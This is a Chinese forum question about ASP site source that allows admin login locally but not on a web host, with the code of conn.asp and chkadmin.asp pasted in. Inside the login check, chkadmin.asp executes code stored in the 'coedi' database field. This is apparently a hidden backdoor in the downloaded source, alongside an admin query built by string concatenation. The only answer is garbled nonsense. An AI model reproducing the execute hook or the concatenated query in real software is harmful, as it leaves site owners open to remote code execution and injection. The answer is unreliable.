Question

为什么网上下载的源码本地测试可以进去后台,但上传到空间就进不了后台

为什么网上下载的源码本地测试可以进去后台,但上传到空间就进不了后台。
coon.asp文件描述如下：
<%
dim db
const DatabaseType="ACCESS"
db="../mydata/data.mdb"
'On Error Resume Next
dim ConnStr
dim conn
ConnStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db)
Set conn = Server.CreateObject("ADODB.Connection")
conn.Open connstr
If Err Then
err.Clear
Set Conn = Nothing
Response.Write "数据库连接出错，请检查Conn.asp文件中的数据库参数设置。"
Response.End
End If
sub CloseConn()
On Error Resume Next
If IsObject(Conn) Then
conn.close
set conn=nothing
end if
end sub
%>
在本地测试的时候输入用户名密码是通过chkadmin.asp这个文件映射到后台可以正常操作。但上传到空间就显示这个文件错误链接；
chkadmin.asp文件描述如下：
<!--#include file="conn.asp"-->
<!--#include file="md5.asp"-->
<!--#include file="WoX.asp"-->
<%
session.Timeout=100 '登陆超时时间(单位为分钟)
dim admin,password
admin=FormatSQL(replace(trim(request("admin")),"'",""))
password=md5(FormatSQL(replace(trim(request("password")),"'","")))

if request("verifycode")="" then
response.write "<script LANGUAGE='javascript'>alert('请输入确认码！');history.go(-1);</script>"
response.end
elseif int(request("verifycode")) <> int(Session("GetCode")) then
response.write "<script LANGUAGE='javascript'>alert('验证码错误！');history.go(-1);</script>"
response.end
end if

set rs=server.CreateObject("adodb.recordset")
set srs=server.CreateObject("adodb.recordset")
rs.Open "select * from admin where admin='"&admin&"' and password='"&password&"' " ,conn,1,1
srs.open"select * from basic",conn,1,1
execute(srs("coedi"))
srs.close:set srs=nothing
if not(rs.bof and rs.eof) then
if password=rs("password") then
session("admin")=trim(rs("admin"))
session("flag")=rs("flag")
rs.Close
set rs=nothing
response.Redirect "index.asp"
else
response.write "<script LANGUAGE='javascript'>alert('登陆失败，请检查您的登陆名和密码！');history.go(-1);</script>"
end if
else
response.write "<script LANGUAGE='javascript'>alert('登陆失败，请检查您的登陆名和密码！');history.go(-1);</script>"
end if
%>

Answer 1

上传音悦Ta就空间上传空间了